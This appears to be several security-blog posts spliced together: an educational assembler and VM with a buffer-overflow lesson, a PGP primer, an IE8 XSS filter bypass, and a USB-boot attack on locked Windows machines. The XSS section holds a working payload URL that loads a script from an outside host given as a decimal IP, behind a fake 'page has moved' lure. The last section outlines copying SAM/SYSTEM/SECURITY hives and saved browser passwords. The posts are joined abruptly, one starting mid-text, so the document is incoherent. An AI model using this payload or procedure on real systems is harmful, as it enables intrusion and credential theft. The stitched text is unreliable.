The MARC is a perfect example of using simple applications geared towards education to teach concepts, not features. Students trying to learn new concepts need tools that just work. I wanted to borrow the concepts of the MARC and create a piece of software which could be used as a stepping stone towards x86 assembly. More specifically, I wanted:

• A more comprehensive, but not complicated, instruction set which more closely mimicked an x86 instruction set.
• 32-bit, little endian words.
• A way to help students visualize what was happening in memory while their programs were running.
• A code base programmed in C, making it more accessible for expansion and hacking by others.

With these goals in mind, I created the RAVM, the Rainbowsandpwnies Assembler and Virtual Machine. The RAVM comes with three parts: assembler, disassembler, and virtual machine. Here’s how you can grab a copy of the RAVM in Ubuntu:

sudo apt-get install git build-essential libncurses5-dev
git clone git://github.com/endeav0r/ravm.git
cd ravm
make

An example

The RAVM comes with a few example assembly programs, but let’s start with our own. We will create a function that adds two numbers together and returns the result. We will then call our function to add together 5 and 7, and then stop.

main :
    mov r0, 7
    push r0
    mov r0, 5
    push r0
    call sum     ; sum(5, 7)
    add rsp, 0x8 ; this is the cdecl call convention
    hlt

sum :
    push rbp
    mov rbp, rsp

    push r1      ; callee saves registers r1-r7

    mov r1, rbp  ; place second argument in r1
    add r1, 0xc
    mov r1, [r1]

    mov r0, rbp  ; place first argument in r0
    add r0, 0x8
    mov r0, [r0]

    add r0, r1   ; perform the addition

    pop r1       ; restore saved registers
    pop rbp

    ret ; return

As of this writing, push and pop only accepts registers. The instruction set is still being expanded.

What we have here is a simple assembly program. Now let’s see where the RAVM really earns its money.

The vm that comes with RAVM features, “godmode.” Godmode is, in my opinion, the best way to visualize a program in memory. Let’s take a look.

We can assemble and run the above program by saving the contents in sum.asm and running the following commands

./assembler sum.bin sum.asm
./vm -i sum.bin -g

This will present us with the following screen:

On the left side of the screen are the addresses for all available memory locations (the VM is currently running with 512 bytes of memory). Starting at address 0, highlighted in cyan is the image loaded from sum.bin. Highlighted in green is the current instruction pointed to by our instruction pointer. The last word in memory, highlighted in red, shows the memory location pointed to by rsp, our stack pointer. In yellow is the user cursor, movable by the arrow keys.

At the bottom of the screen, starting from the top-left of the bottom, we have the address of the cursor, the value of the instruction pointer, a disassembled description of the current instruction, and then the value of every general purpose register.

The user steps through the instruction by pressing (or holding) the “s” key. Let’s step forward in our program until we are sitting on the add r0, r1 instruction.

We are now introduced to two new colors, blue and purple. Blue shows us the space occupied by the stack. Purple shows us the memory pointed to by the base pointer.

As the user continues to step through the program, he/she is simultaneously presented with the entire program laid out and color-coded in memory, the next instruction to execute, and the value of all registers. I have found that after an explanation of how a computer works, a real-time visual learning aid answers many questions.

Teaching security with the RAVM

My favorite example program in the RAVM is that of a basic strlen buffer overflow, overwriting the return address to point back into the stack and execute attacker instructions. When the program executes as intended, it takes two strings, one as a password and one as simulated user input. A function is called, and the user input string is copied into a buffer with a strcpy. The two strings are then compared with strcmp, and if the two strings match a value in memory holding 0xdeadbeef is zeroed to 0×00000000. If the two strings do not match, the memory location is not zeroed and the program terminates.

To assemble the buffer overflow example, run this command:

./assembler buffer_overflow.bin buffer_overflow.asm string.asm

Here’s a quick screenshot of RAVM godmode during the buffer overflow action, exploit in place, to get us started (vm memory size restored to 1024 bytes, the default):

The jump that is about to execute on the stack will jump the user onto the instructions which execute after a successful strcmp. The creation of this simple, one instruction exploit requires the use of all three tools: assembler, disassembler and vm. Let’s take a look at the first several instruction of buffer_overflow.bin as they appear from ./disassembler:

00000000      10000000020c  MOV  r0, 524 (0000020c)
00000006              3200  PUSH r0
00000008        3000000022  CALL 34 (0000002f)
0000000d      060800000004  ADD  rsp, 4 (00000011)
00000013      410000000001  CMP  r0, 1 (00000014)
00000019        2200000001  JE   1 (0000001f)
0000001e                80  HLT
0000001f      100000000234  MOV  r0, 564 (00000253)
00000025      100100000000  MOV  r1, 0 (00000025)
0000002b            130001  MOV  [r0], r1
0000002e                80  HLT
0000002f              3209  PUSH rbp
00000031            110908  MOV  rbp, rsp
00000034      0608ffffffec  ADD  rsp, -20 (00000020)
0000003a            110009  MOV  r0, rbp
0000003d      060000000008  ADD  r0, 8 (00000045)
00000043            120000  MOV  r0, [r0]
00000046              3200  PUSH r0
00000048            110009  MOV  r0, rbp
0000004b      0600ffffffec  ADD  r0, -20 (00000037)
00000051              3200  PUSH r0
00000053        30000000e9  CALL 233 (00000141)
00000058      060800000008  ADD  rsp, 8 (00000060)
0000005e            110009  MOV  r0, rbp
00000061      0600ffffffec  ADD  r0, -20 (0000004d)
00000067              3200  PUSH r0
00000069      100000000228  MOV  r0, 552 (00000291)

Currently, constant values are followed by their offset in the instructions. This isn’t required for all instructions. Work in progress.

We start by pushing the address of our user supplied string on the stack and making a function call to check it against the password. After some stack cleanup, we check the result for a 1, which indicates a successful match. On a successful match, we jump to the instructions at 0x0000001f to zero out memory. On an unsuccessful match, we simply halt the program.

The disassembler provides us with an easy way to see all of our instructions next to their assembled addresses (and the addresses they will hold in memory). The attacker can then run his program in memory and calculate the offset from where the stack will be located after a return address overflow to the instructions he needs executed. Finally, the attacker has to find some instruction he can write on the stack which will include no 0×00 bytes. A carefully crafted attacker-supplied string which returns back into the stack and executes a JMP instruction does the trick.

It’s an interesting exercise in creative thinking to manipulate a system, the RAVM, in ways unintended.

Conclusion

That’s what I use to teach concepts in low-level programming and assembly. I’m interested in any suggestions, criticisms and feedback people have. If this is something you would like to use, everything is available under the GPL license. Please let me know how it goes!

Infeasible means it is very, very difficult to do something. In cryptology, this usually equates to something along the lines of, “It’s possible with known algorithms and the expected advancements in hardware, but it will take thousands/millions of years.”

What is PGP

PGP stands for Pretty Good Privacy, and is a program originally developed in the 90s to send and received encrypted emails. It is not an encryption algorithm. It provides a basic format for using various algorithms and best-practices in cryptology to send messages between people. PGP has now become the colloquial word used for a variety of concepts used with this format. A PGP Key is a key that can be used with PGP to encrypt/decrypt emails. A PGP encrypted email is an email that could be decrypted with PGP, given a PGP key. Again, PGP is not a cryptographic algorithm.

I personally use GnuPG along with enigmail to communicate using PGP formatted messages.

The three basic types of encryption

PGP uses all three of these. We will hit them briefly now, and then again at the end.

Symmetric Encryption

Symmetric encryption is used to exchange information between two parties with one key. This key is shared, a “shared secret”, and the security of symmetric encryption relies on the safe-guarding of this shared secret (the key). Relative to asymmetric encryption, symmetric encryption is fast. AES stands for the Advanced Encryption Standard, comes in 128 and 256 bit flavors (128 is considered secure/unbreakable, but 256 is available to comply with requirements but forth by NIST when they were evaluating candidates for AES), and replaces 3DES, which was three consecutive rounds of DES and was the previous encryption standard.

• Key: Both parties have same, shared key
• Example Algorithms: AES, Blowfish, Twofish, 3DES
• Speed: Fast
• Security Relies On: Safe-guarding shared key

Asymmetric Encryption

Asymmetric encryption is used to exchange information between two parties where one party has a known “public” key, and uses this known “public” key to encrypt information for another party. This information can only be decrypted with the “private” key which is kept secret. Asymmetric encryption is based on mathematical problems that are infeasible to solve. Relative to symmetric encryption, asymmetric encryption is slow. RSA and the Diffie-Hellman Key Exchange are two basic methods (based on two different infeasible-to-solve problems) for implementing asymmetric encryption.

There are TWO KEYS in asymmetric encryption, the “private” key and the “public” key. Ok, technically there are four keys, one pair for signing and one pair for encrypting, but we will pretend there are two keys and abstract some details for quick understanding. If I want to send you a message, I use your public key to encrypt your message. Only you, with your private key, can decrypt that message. If you send me a message, you can use your private key to sign that message. I can then use your public key to verify the signature, and mathematically prove that the message comes from you.

• Key: You have a secret, private key, and you share a public key with EVERYONE
• Example Algorithms: RSA, Diffie-Hellman Key Exchange
• Speed: Slow
• Security Relies On: Safe-guarding private key and verifying public key

We will return to security relies on.

Cryptographic Hash

A cryptographic hash is a “one-way” cryptographic operation where we input data of arbitrary length and end up with a unique number. Hash is used colloquially to refer to both the algorithm, and the resulting “sum” of the hashing algorithm. We will use “sum” to mean the result of the hashing operation. A cryptographic has two very special properties by definition.

• Preimage Resistance:Given the sum of a hash, it is infeasible to create or find any input that will hash to that same sum.
• Collision Resistance: It is infeasible to find any two inputs that will hash to the same sum.

Preimage resistance means you do not get to pick the sum. Collision resistance means you can pick the sum. Collision attacks are easier to implement than preimage attacks. Some implementations of cryptographic hashing algorithms are still valid if the hash can withstand preimage attacks but falls prone to collision attacks. Anything that deals with PGP (key fingerprints, signing emails) requires both strong preimage and collision resistance.

• Key: There is no key
• Example Algorithms: OLD_DO_NOT_USE(MD4, MD5, SHA1) USE(SHA256/SHA512 (these are both sha2 with different block sizes))
• Speed: fast
• Security Relies On: The strength of the hashing algorithm

Understanding Asymmetric Encryption Security Concerns

Fingerprint: A cryptographic hash (sum) of a public key. Usually when I say, “verify public key,” I mean the fingerprint. PGP/GnuPG will generate these fingerprints for you.

Symmetric security is pretty easy to understand. Cryptographic encryption is also pretty easy to understand. Asymmetric encryption, however, has a few special implications we will need to cover. These come from the second security requirement of asymmetric encryption: verifying the public key.

Imagine a scenario where I post my public key to a website and then tell you to go download my public key (exactly like my key available on rainbowsandpwnies.com). Unbeknownst to either you or me, someone has:

• Hacked into rainbowsandpwnies.com and modified the key stored there.
• Is sitting between you and rainbowsandpwnies.com and giving you fake information.
• Modifying the key you will end up receiving by some other means.

This third party instead gives you their public key. You send a message to me, encrypting it with the public key of the third party. They then decrypt this message, read it, re-encrypt it with my real public key, and then send the message to me. The third party can even sign the message with their private key and send me their public key. You and I will now communicate, believing we are speaking secretly, but our messages are being read by third parties.

In order to know we are speaking secretly, we must be sure that our messages are coming directly from one another. To do this, two things need to happen:

• You must know, with certainty, that you have my real public key. I must know, with certainty, that I have your public key.
• If I receive a message from you, it must be signed with your public key (that I know belongs to you). Vice-versa for messages you receive from me.

There are multiple models for establishing trust. One popular model involves what is called a Certificate Authority. In this model, everyone has the public key of a trusted entity known as the Certificate Authority. You send your public key to the Certificate Authority in what is known as Certificate Signing Request. The Certificate Authority then verifies your identity (by some other means) and then signs your certificate. When you send me your public key, you also send you certificate signed by the Certificate Authority. I can use the Certificate Authority’s public key (that I already have and trust) to verify his signature on your certificate, and because your public key is in that certificate, I transfer my trust of the Certificate Authority, through the certificate, to that public key. I now know that public key belongs to you, and can trust that public key with equal trust as I trust the Certificate Authority. This model is referred to as Public Key Infrastructure (PKI). You can have your PGP key signed by a CA, if you want, for a fee.

There is another model for trust, known as the Web of Trust. The easiest way to imagine the Web of Trust is to think of each user as a Certificate Authority. In the Web of Trust, users “sign” the public keys of other users whom they verify. We can now base our trust of a public key equally to the amount of trust we place in the users who signed that public key. We place trust in the signers based on our confidence in them to both safeguard their private keys, and properly verify the public keys they sign. That’s a two part trust there, and it’s important to understand both of them.

• If I trust Mark to both safeguard his private key and to only sign public keys he properly verifies, and Mark has signed your key, then I can transfer that trust to your key.
• If I trust Mark to safeguard his private key but I don’t believe Mark uses proper methods to verify other public keys, I will not trust his signature of your key.
• If I trust Mark to use proper methods to verify other public keys but do not think Mark properly safeguards his key, I will not trust his signature of your key.

The “Web” part of the Web of Trust comes from the “filtering” down of this trust. Imagine I trust Mark fully, and Mark trusts Steve fully. If Steve signs Katie’s key, then I will trust Katie’s key. There is more to the Web of Trust, but if you just understand the concepts discussed above then you (and I) will be OK.

Verifying/Signing Public Keys

There are two very important parts to verifying a public key before you sign/trust it.

• You must be certain the other person is who they say they are.
• You must be certain the method in which they are giving you their public key is one that can not be intercepted and modified.

The easiest way to do this is to meet the person face-to-face, exchange multiple forms of identification (a passport and driver’s license, for example), and then exchange fingerprints of public keys. You can make it into a party.

If you already know the person well enough to be certain of their identity, then any method which can not be intercepted and modified will suffice. IE: you could meet them face-to-face (this is always preferred). Another method I sometimes use is a webcam chat with someone I know where I simultaneously write out, in view of the camera, and vocally speak each letter of the fingerprint.

Safeguarding your Key

In addition to verifying the keys of others, you must also safeguard your own private key. Losing your private key can have severe consequences relative to the amount of trust other people have placed in your ability to safeguard it. In this context, “losing,” your private key means someone else has a copy of your private key. You may (and most likely will) still have your private key. You must maintain control of your private key at all times. Do not use your private key on insecure machines. Other people are counting on you to maintain your key.

Here is a list of acceptable places to use/store your private key to decrypt and sign emails:

• On a computer that you, and you alone, control, that other people do not and will not tamper with, and that you keep patched and secure.
• On an encrypted piece of removable storage

Here is a list of unacceptable places to use/store your private key to decrypt and sign emails, REGARDLESS OF HOW BADLY YOU NEED/WANT TO SIGN AND/OR DECRYPT AN EMAIL:

• A computer that is owned by your university/employer/government/friend/parents.
• That computer, that you own, in your living room, that your Aunt Susie uses to read emails and play bejeweled on when she visits every other Tuesday.
• Your smartphone (especially iPhone/Android). (CEO, Here is a bunch of details of our company’s intellectual property that we would be ruined if our competitors discovered. Don’t worry, this email is encrypted. Sincerely, Employee — sent from iPhone).
• On an unencrypted thumbdrive (or any other unencrypted removable media). Ever.

A quick understanding of how PGP encrypts/signs your messages

First, there are a lot of considerations when implementing a cryptographically secure solution like PGP. The quality of random numbers, side-channel attacks, padding and many other considerations are all taken into account. Don’t try a homebrew solution.

To encrypt a message, PGP will first encrypt the message with a symmetric encryption algorithm such as AES and a random key. This is because symmetric encryption is fast. PGP will then encrypt the random key with your public key. It will send the symmetrically encrypted text, along with the asymmetrically encrypted key, to you. You decrypt the key, and then decrypt the text.

To sign a message, PGP will cryptographically hash your entire message. This is because cryptographic hashes are fast. Now, remember when we said you really had four keys instead of two? Well, you have a separate pair of signing keys. With your signing keys, your “encryption” or signing key is kept secret, and your “decryption” or verifying key is public. You use your private signing key to encrypt the cryptographic hash of the message. You send the encryption of the cryptographic hash with the message. Whomever receives your message can hash it, and then use your public verifying key to decrypt your signature. If the decrypted hash from the signature matches the hash the recipient generated of your message, then message is valid. In this case, valid means the recipient knows the message came from you and was not modified in any way.

• <script> tags originating from foreign sites raises an XSS error, and are subsequently sanitized.
• If you use src=”http://.” inside a script tag you will raise a separate XSS error and input will be sanitized. However, apparently src=”http://asdf/” does not trigger this regex. The presence of the . raises the error.
• Iframes are not automatically off-limits, but you cannot use the src property within your iframes.

With some fudging, I was able to craft the following url:

http://REMOVED_TO_PROTECT_THE_INNOCENT/application_path.cfm?app="><h1><a href="?app=<SCRIPT SRC=http://1488928516/4029q0></SCRIPT>">This page has moved! Please click here!</a></h1><iframe width="1" height="1">

http://REMOVED_TO_PROTECT_THE_INNOCENT/application_path.cfm?app="><h1><a href="?app=<SCRIPT SRC=http://1488928516/4029q0></SCRIPT>">This page has moved! Please click here!</a></h1><iframe width="1" height="1">

The URL no longer works (apparently), but in short, this is the decimal equivalent of an IP address. Given A.B.C.D, this is the decimal equivalent of:

A*(2^24) + B*(2^16) + C*(2^8) + D

Your browser will accept this decimal representation of an IP address and process it as such.

Because my XSS was located near the top of the page, I was able to open an iframe (which caught the rest of the HTML) and display a giant This page has moved! Please click here! link. Upon clicking the link, the XSS would successfully execute.

I have no idea if Microsoft will consider this an issue and fix it, but as of last week this was a (albeit less than ideal) way to make some use of those traditional reflective XSS in IE8.

In order to gain access to machines which I had physical access to for very short, limited amounts of time, but were both locked and had the traditional autorun functionality disabled, I created a live-linux bootable flash drive which performed the following:

1. Boot into a minimalist Linux distro.
2. Find first bootable NTFS partition and mount it.
3. Make registry edits (I scripted over chntpw for this).
4. Copy files from thumb drive to machine.
5. Copy files from hard drive to thumb drive (SAM/SYSTEM/SECURITY, perhaps check for things such as database of saved firefox passwords to break).
6. Shut Down.

At which point in time I would pull out the thumb drive and walk away. That’s hard-reset machine (if it’s on), boot thumb-drive, wait < 60 seconds (no interaction necessary), pull thumb-drive and walk away. A typical user won’t raise too much fuss if he comes back to a restarted machine (assuming his machine was on to begin with). It’s that funky computer magic, you know? It does weird things.

I quickly discovered that the steps necessary to force the BIOS to boot from attached USB storage were simple enough to relay to just about ANYONE.

60 seconds too long to stand around and wait? Changing boot orders too complicated for some people? Pop a CD-ROM in there and leave. What’s your BIOS boot-order? Is your machine connected to the network? Ouch.

Lock your BIOS. Protect your boot order.

<skip content=”conclusion/thoughts/experience based advice” />